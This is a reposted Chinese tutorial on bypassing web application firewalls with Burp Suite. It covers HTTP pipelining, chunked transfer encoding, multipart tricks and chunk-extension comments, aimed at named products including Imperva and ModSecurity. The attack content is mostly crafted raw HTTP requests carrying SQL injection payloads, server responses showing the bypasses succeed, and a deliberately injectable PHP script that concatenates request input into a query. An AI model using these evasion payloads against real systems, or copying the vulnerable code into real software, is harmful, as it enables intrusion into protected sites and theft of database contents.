Burpsuit分块传输插件绕WAF原理和技巧（转）

﹏ヽ暗。殇╰゛Y 2024-04-07 10:53 49阅读 0赞

### **0x00 原理** ###

给服务器发送payload数据包，使得waf无法识别出payload,当apache,tomcat等web容器能正常解析其内容。如图一所示

[![在HTTP协议层面绕过WAF][HTTP_WAF]][HTTP_WAF_HTTP_WAF]

### **0x02 实验环境** ###

本机win10+xampp+某狗web应用防火墙最新版。为方便演示，存在sql注入的脚本中使用$\_REQUEST\["id"\]来接收get,或者post提交的数据。waf配置为拦截url和post的and or 注入，如图所示：

[![在HTTP协议层面绕过WAF][HTTP_WAF 1]][HTTP_WAF_HTTP_WAF 1]

发送get请求或利用hackbar插件发送post请求payload均被拦截，如图所示：

[![在HTTP协议层面绕过WAF][HTTP_WAF 2]][HTTP_WAF_HTTP_WAF 2]

### 0x03 绕过WAF方法 ###

#### 一· 利用pipline绕过\[该方法经测试会被某狗拦截\] ####

#### **原理****：** ####

http协议是由tcp协议封装而来，当浏览器发起一个http请求时，浏览器先和服务器建立起连接tcp连接，然后发送http数据包(即我们用burpsuite截获的数据)，其中包含了一个Connection字段，一般值为close，apache等容器根据这个字段决定是保持该tcp连接或是断开。当发送的内容太大，超过一个http包容量，需要分多次发送时，值会变成keep-alive，即本次发起的http请求所建立的tcp连接不断开，直到所发送内容结束Connection为close为止。

1. 关闭burp的Repeater的Content-Length自动更新，如图四所示，点击红圈的Repeater在下拉选项中取消update Content-Length选中。**这一步至关重要！！！**

[![在HTTP协议层面绕过WAF][HTTP_WAF 3]][HTTP_WAF_HTTP_WAF 3]

2. burp截获post提交

id=1 and 1=1

,显示被waf拦截如图五所示。

[![在HTTP协议层面绕过WAF][HTTP_WAF 4]][HTTP_WAF_HTTP_WAF 4]

3. 复制图五中的数据包黏贴到

id=1 and 1=1

后面如图六所示。

[![在HTTP协议层面绕过WAF][HTTP_WAF 5]][HTTP_WAF_HTTP_WAF 5]

4. 接着修改第一个数据包的数据部分，即将

id=1+and+1%3D1

修改为正常内容id=1，再将数据包的Content-Length的值设置为修改后的【id=1】的字符长度即4，最后将Connection字段值设为keep-alive。提交后如图七所示，会返回两个响应包，分别对应两个请求。

[![在HTTP协议层面绕过WAF][HTTP_WAF 6]][HTTP_WAF_HTTP_WAF 6]

**注意：**从结果看，第一个正常数据包返回了正确内容，第二个包含有效载荷的数据包被某狗waf拦截，说明两数据包都能到达服务器，在面对其他waf时有可能可以绕过。无论如何这仍是一种可学习了解的绕过方法，且可以和接下来的方法进行组合使用绕过。

#### 二.利用分块编码传输绕过\[该方法可绕某狗\] ####

**原理：**

在头部加入 Transfer-Encoding: chunked 之后，就代表这个报文采用了分块编码。 这时，post请求报文中的数据部分需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据，长度值独占一行，长度不包括它结尾的，也不包括分块数据结尾的，且最后需要用0独占一行表示结束。

1. 开启上个实验中已关闭的content-length自动更新。给post请求包加入 Transfer-Encoding: chunked后，将数据部分 id=1 and 1=1进行分块编码(注意长度值必须为十六进制数)，每一块里长度值独占一行，数据占一行如图八所示。

[![在HTTP协议层面绕过WAF][HTTP_WAF 7]][HTTP_WAF_HTTP_WAF 7]

2.将上面图八数据包的

id=1 and 1=1

改为

id=1 and 1=2

即将图八中所标的第4块的1改为2。如图九所示没有返回数据，payload生效。

[![在HTTP协议层面绕过WAF][HTTP_WAF 8]][HTTP_WAF_HTTP_WAF 8]

注意：分块编码传输需要将关键字and,or,select ,union等关键字拆开编码，不然仍然会被waf拦截。编码过程中长度需包括空格的长度。最后用0表示编码结束，并在0后空两行表示数据包结束，不然点击提交按钮后会看到一直处于waiting状态。

##### 三.利用协议未覆盖进行绕过\[同样会被某狗拦截\] #####

#### **原理：** ####

HTTP头里的Content-Type一般有application/x-www-form-urlencoded，multipart/form-data，text/plain三种，其中multipart/form-data表示数据被编码为一条消息，页上的每个控件对应消息中的一个部分。所以，当waf没有规则匹配该协议传输的数据时可被绕过。

1.将头部Content-Type改为multipart/form-data; boundary=69 然后设置分割符内的Content-Disposition的name为要传参数的名称。数据部分则放在分割结束符上一行。

[![在HTTP协议层面绕过WAF][HTTP_WAF 9]][HTTP_WAF_HTTP_WAF 9]

由于是正常数据提交，所以从图十可知数据是能被apache容器正确解析的，尝试1 and 1=1也会被某狗waf拦截，但如果其他waf没有规则拦截这种方式提交的数据包，那么同样能绕过。

2.一般绕waf往往需要多种方式结合使用，如图十的示例中，只需将数据部分1 and 1=1用一个小数点”.”当作连接符即1.and 1=1就可以起到绕过作用。当然，这只是用小数点当连接符所起的作用而已。如图十一所示。

[![在HTTP协议层面绕过WAF][HTTP_WAF 10]][HTTP_WAF_HTTP_WAF 10]

#### **四.分块编码+协议未覆盖组合绕过** ####

1.在协议未覆盖的数据包中加入 Transfer-Encoding: chunked ，然后将数据部分全部进行分块编码，如图十二所示(数据部分为1 and 1=1)。

[![在HTTP协议层面绕过WAF][HTTP_WAF 11]][HTTP_WAF_HTTP_WAF 11]

**注意：** 第2块，第3块，第7块，和第8块。

**第2块** 中需要满足

长度值 空行 Content-Disposition: name="id" 空行

这种形式，且长度值要将两个空行的长度计算在内(空行长度为2)。

**第3块** ，即数据开始部分需满足

长度值 空行 数据

形式，且需将空行计算在内。

**第7块** 即分割边界结束部分，需满足

长度值 空行 分割结束符 空行

形式，且计算空行长度在内。

**第8块** 需满足

0 空行 空行

形式。如果不同时满足这四块的形式要求，payload将不会生效。

### **0x04 绕过WAF技巧** ###

#### 一、技巧1：使用注释扰乱分块数据包 ####

一些如Imperva,360等比较好的WAF已经对传输编码的分块传输做了处理，可以把分块组合成完整的HTTP数据包，这时直接使用常规的分块传输方法尝试绕过的话，会被WAF直接识别并阻断。

我们可以在[\[RFC7230\]][RFC7230]中查看到有关分块传输的定义规范。

Chunked Transfer Coding: The chunked transfer coding wraps the payload body

in order to
       transfer it as a series of chunks, each with its own size indicator,
       followed by an OPTIONAL trailer containing header fields.  Chunked
       enables content streams of unknown size to be transferred as a
       sequence of length-delimited buffers, which enables the sender to
       retain connection persistence and the recipient to know when it has
       received the entire message.
    
         chunked-body   = *chunk
                          last-chunk
                          trailer-part
                          CRLF
    
         chunk          = chunk-size [ chunk-ext ] CRLF
                          chunk-data CRLF
         chunk-size     = 1*HEXDIG
         last-chunk     = 1*("0") [ chunk-ext ] CRLF
    
         chunk-data     = 1*OCTET ; a sequence of chunk-size octets
    
       The chunk-size field is a string of hex digits indicating the size of
       the chunk-data in octets.  The chunked transfer coding is complete
       when a chunk with a chunk-size of zero is received, possibly followed
       by a trailer, andfinally terminated by an empty line.
    
       A recipient MUST be able to parse and decode the chunked transfer
       coding.
    
    Chunk Extensions:
    
       The chunked encoding allows each chunk to include zero or more chunk
       extensions, immediately following the chunk-size, for the sake of
       supplying per-chunk metadata (such as a signature or hash),
       mid-message control information, or randomization of message body
       size.
    
         chunk-ext      = *( ";" chunk-ext-name [ "=" chunk-ext-val ] )
    
         chunk-ext-name = token
         chunk-ext-val  = token / quoted-string
    
       The chunked encoding is specific to each connection andis likely to
       be removed or recoded by each recipient (including intermediaries)
       before any higher-level application would have a chance to inspect
       the extensions.  Hence, use of chunk extensions is generally limited

通过阅读规范发现分块传输可以在长度标识处加上分号“;”作为注释，如：

9;kkkkk 1234567=1 4;ooo=222 2345 0 (两个换行)

几乎所有可以识别传输编码数据包的WAF，都没有处理分块数据包中长度标识处的注释，导致在分块数据包中加入注释的话，WAF就识别不出这个数据包了。

现在我们在使用了Imperva的应用防火墙的网站测试常规的分块传输数据包：

POST /xxxxxx.jsp HTTP/1.1 ......
    
    Transfer-Encoding: Chunked
    
    9
    xxxxxxxxx
    9
    xx=xxxxxx
    9
    xxxxxxxxx
    1
    d
    9
    &a=1    and    
    3
    2=2
    0
    (两个换行)

返回的结果如下图所示。

[![75b60e2a3aaa063bc440da2dd0f2ae81.png][]][75b60e2a3aaa063bc440da2dd0f2ae81.png 1]

可以看到我们的攻击有效载荷“和2 = 2”被Imperva的WAF拦截了。

这时我们将分块传输数据包加入注释符。

POST /xxxxxx.jsp HTTP/1.1
    ......
    Transfer-Encoding: Chunked
    
    9
    xxxxxxxxx
    9
    xx=xxxxxx
    9
    xxxxxxxxx
    1;testsdasdsad
    d
    9;test
    &a=1    and    
    3;test44444
    2=2
    0
    (两个换行)

返回的结果如下图所示。

[![07fdb6c8e44fce23e5f6038f14fa287c.png][]][07fdb6c8e44fce23e5f6038f14fa287c.png 1]

可以看到Imperva的已经不拦截这个负荷了。

#### 二、技巧2:绕过ModSecurity ####

众所周知的ModSecurity是加载在中间件上的插件，所以不需要理会解析HTTP数据包的问题，因为中间件已经帮它处理完了，那么无论使用常规的分块还是加了注释的分块数据包，ModSecurity的都能直接获取到完整的HTTP数据包然后匹配危险关键字，所以一些基于ModSecurity的做的WAF产品难道就不受影响吗？

接下来我们在apache+ ModSecurity的环境做测试。

sql.php代码如下：

<?php
    ini_set("display_errors", "On");
    error_reporting(E_ALL);
    $con = mysql_connect("localhost","root","");
    if (!$con)
    {
        die('Could not connect: ' . mysql_error());
    }
    mysql_select_db("test", $con);
    $id = $_REQUEST["id"];
    $sql = "select * from user where id=$id";
    $result = mysql_query($sql,$con);
    while($row = mysql_fetch_array($result))
    {
        echo $row['name'] . " " . $row['password']."n";
    }
    mysql_close($con);
    print"========GET==========n";
    print_r($_GET);
    print"========POST==========n";
    print_r($_POST);
    ?><ahref="sqli.php?id=1"> sdfsdf </a>

ModSecurity的加载的规则拦截了请求包中的关键字“联盟”。

下面我们的请求和返回结果如下：

请求: http://10.10.10.10/sql.php?id=2%20union 返回:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>404 Not Found</title>
    </head><body>
    <h1>Not Found</h1>
    <p>The requested URL /sql.php was not found on this server.</p>
    <hr>
    <address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
    </body></html>

可以看到我们的“联盟”关键字被拦截了。

接下来我们传输一个畸形的分块数据包看看。

请求: POST /sql.php?id=2%20union HTTP/1.1 ...... Transfer-Encoding: chunked 1 aa 0 (两个换行) 返回:

<title>400 Bad Request</title>
    </head><body>
    <h1>Bad Request</h1>
    <p>Your browser sent a request that this server could not understand.<br />
    </p>
    <hr>
    <address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
    </body></html>
    ========GET==========
    Array
    (
       [id] => 2 union
    )
    ========POST==========
    Array
    (
    )

可以看到虽然apache的报错了，但是因为apache的容错很强，所以我们提交的参数依然传到了PHP中，而我们的ModSecurity的并没有处理400错误的数据包，最终绕过了ModSecurity的。

接下来我们把的ModSecurity的规则改为过滤返回数据中包含的“根”的字符串，然后在sql.php脚本中加入打印“根”关键字的代码。

接着我们做如下测试：

请求： http:

//10.10.10.10/sql.php?id=1
    
    返回:

<html><head>
    <title>403 Forbidden</title>
    </head><body>
    <h1>Forbidden</h1>
    <p>You don't have permission to access /sql.php
    on this server.</p>
    <hr>
    <address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
    </body></html>

因为sql.php脚本中返回了带有“根”的关键字，所以直接就被ModSecurity的拦截了。这时我们改为发送畸形的分块数据包。

请求: POST /sql.php?id=

HTTP/1.1
    Host: 10.10.10.10
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Transfer-Encoding: chunked
    Content-Length: 16
    
    3
    123
    1
    0
    (两个换行)

<html><head>
    <title>400 Bad Request</title>
    </head><body>
    <h1>Bad Request</h1>
    <p>Your browser sent a request that this server could not understand.<br />
    </p>
    <hr>
    <address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
    </body></html>
    root 123456
    ========GET==========
    Array
    (
       [id] => 1
    )
    ========POST==========
    Array
    (
    )

通过两个测试可以发现使用畸形的分块数据包可以直接绕过的ModSecurity的检测。这个问题我们在2017年4月已提交给了ModSecurity官方，但是因为种种问题目前依然未修复。

### 0x05 总结 ###

以上是在http协议层面绕过waf，因为比较通用，所以理论上可以用于平时渗透时的方方面面，如命令执行，代码注入，sql注入等测试。虽然本文中只有分块编码真正做到了绕过某狗，但其他两种方法在其他waf绕过中可能仍然可用，而且可与其他绕过方法结合使用，甚至像四中一样相互组合使用

### 0x06 参考文献 ###

[https://www.freebuf.com/news/193659.html][https_www.freebuf.com_news_193659.html]

[https://www.anquanke.com/post/id/169738][https_www.anquanke.com_post_id_169738]

[https://github.com/c0ny1/chunked-coding-converter][https_github.com_c0ny1_chunked-coding-converter]

[http://gv7.me/articles/2019/chunked-coding-converter/?nsukey=hDubSZCwRKfHneACMJlb2G5dSfdCLb0UBpr4IBspB5hrqGhmbc%2FkWRaDyqwOqDeEenFUA%2BbvcWbUAkmzGV4L%2BAjDzsiE1oC%2FrlNzjPqyqQLsaaYnaGsr3rhiaxjMg%2BAaxufM8UlXwyJUJULQ3OhD18dYrtmhwEzgtaVrhkUzL3Q3LjSaL0Fau0fmaw4c%2FH86LaRiCQT7O%2BQaOVkXrp6SUg%3D%3D\#][http_gv7.me_articles_2019_chunked-coding-converter_nsukey_hDubSZCwRKfHneACMJlb2G5dSfdCLb0UBpr4IBspB5hrqGhmbc_2FkWRaDyqwOqDeEenFUA_2BbvcWbUAkmzGV4L_2BAjDzsiE1oC_2FrlNzjPqyqQLsaaYnaGsr3rhiaxjMg_2BAaxufM8UlXwyJUJULQ3OhD18dYrtmhwEzgtaVrhkUzL3Q3LjSaL0Fau0fmaw4c_2FH86LaRiCQT7O_2BQaOVkXrp6SUg_3D_3D]

[HTTP_WAF]: https://img-blog.csdnimg.cn/img_convert/85d7f93e97775b19e839325f5d4cc520.png
[HTTP_WAF_HTTP_WAF]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/872445c4f6394273bc1f0a97463651ac.png
[HTTP_WAF 1]: https://img-blog.csdnimg.cn/img_convert/71af91f1664bdd4811e92574bd15f13b.png
[HTTP_WAF_HTTP_WAF 1]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c0b3cd259a454ce29b87a5e323ccb81b.png
[HTTP_WAF 2]: https://img-blog.csdnimg.cn/img_convert/3db5b1658ba8bce78311dc13e3a6018a.png
[HTTP_WAF_HTTP_WAF 2]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/7398c007e0b14e2db75d730b9675971c.png
[HTTP_WAF 3]: https://img-blog.csdnimg.cn/img_convert/f686c35d6d60fb2931040a136b420c20.png
[HTTP_WAF_HTTP_WAF 3]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f780b8bfbdf34cb0ad358f784784f19a.png
[HTTP_WAF 4]: https://img-blog.csdnimg.cn/img_convert/d570dcd2cc78c271776557f3de9d3560.png
[HTTP_WAF_HTTP_WAF 4]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/795cc03346a2420782f3b1e346483ffb.png
[HTTP_WAF 5]: https://img-blog.csdnimg.cn/img_convert/97af4ab677835ad27b6285ca94596818.png
[HTTP_WAF_HTTP_WAF 5]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c32bc44681fc425782cfb3c04375aa28.png
[HTTP_WAF 6]: https://img-blog.csdnimg.cn/img_convert/1e84a70a5906993ee800315fd98e4127.png
[HTTP_WAF_HTTP_WAF 6]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/084d3a411b3e42f4b4a7f60351c250bf.png
[HTTP_WAF 7]: https://img-blog.csdnimg.cn/img_convert/b4e79dd94487be5919a3ad9c08ba4d79.png
[HTTP_WAF_HTTP_WAF 7]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/62a58102493f4dcc939a85c2a13bf0f7.png
[HTTP_WAF 8]: https://img-blog.csdnimg.cn/img_convert/551d3504c394b294fbc08ed3e8c75f98.png
[HTTP_WAF_HTTP_WAF 8]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c60ccb16aad342f8a090b4c94c8607da.png
[HTTP_WAF 9]: https://img-blog.csdnimg.cn/img_convert/05961d532ee2196211d659ac836b4493.png
[HTTP_WAF_HTTP_WAF 9]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/aa95c15f1a6f43d5be61365bdbc1d4ac.png
[HTTP_WAF 10]: https://img-blog.csdnimg.cn/img_convert/95f53c368adb967ea6b182052ac74b88.png
[HTTP_WAF_HTTP_WAF 10]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/920b84f2a025415e97e45d1eec26ea16.png
[HTTP_WAF 11]: https://img-blog.csdnimg.cn/img_convert/e5ffe7133ce74729aaaa60ccfd239c01.png
[HTTP_WAF_HTTP_WAF 11]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/894970977ad84e65af6c31cf58454c08.png
[RFC7230]: https://tools.ietf.org/html/rfc7230
[75b60e2a3aaa063bc440da2dd0f2ae81.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/e9a859f4928c48d5bdde70f5e3cc1446.png
[75b60e2a3aaa063bc440da2dd0f2ae81.png 1]: https://p0.ssl.qhimg.com/dm/1024_509_/t01e68aae3729de0934.png
[07fdb6c8e44fce23e5f6038f14fa287c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/e09cb59332a44bc9871da70128f75b86.png
[07fdb6c8e44fce23e5f6038f14fa287c.png 1]: https://p1.ssl.qhimg.com/dm/1024_512_/t016a21d39c2ed6911a.png
[https_www.freebuf.com_news_193659.html]: https://www.freebuf.com/news/193659.html
[https_www.anquanke.com_post_id_169738]: https://www.anquanke.com/post/id/169738
[https_github.com_c0ny1_chunked-coding-converter]: https://github.com/c0ny1/chunked-coding-converter
[http_gv7.me_articles_2019_chunked-coding-converter_nsukey_hDubSZCwRKfHneACMJlb2G5dSfdCLb0UBpr4IBspB5hrqGhmbc_2FkWRaDyqwOqDeEenFUA_2BbvcWbUAkmzGV4L_2BAjDzsiE1oC_2FrlNzjPqyqQLsaaYnaGsr3rhiaxjMg_2BAaxufM8UlXwyJUJULQ3OhD18dYrtmhwEzgtaVrhkUzL3Q3LjSaL0Fau0fmaw4c_2FH86LaRiCQT7O_2BQaOVkXrp6SUg_3D_3D]: http://gv7.me/articles/2019/chunked-coding-converter/?nsukey=hDubSZCwRKfHneACMJlb2G5dSfdCLb0UBpr4IBspB5hrqGhmbc%2FkWRaDyqwOqDeEenFUA%2BbvcWbUAkmzGV4L%2BAjDzsiE1oC%2FrlNzjPqyqQLsaaYnaGsr3rhiaxjMg%2BAaxufM8UlXwyJUJULQ3OhD18dYrtmhwEzgtaVrhkUzL3Q3LjSaL0Fau0fmaw4c%2FH86LaRiCQT7O%2BQaOVkXrp6SUg%3D%3D#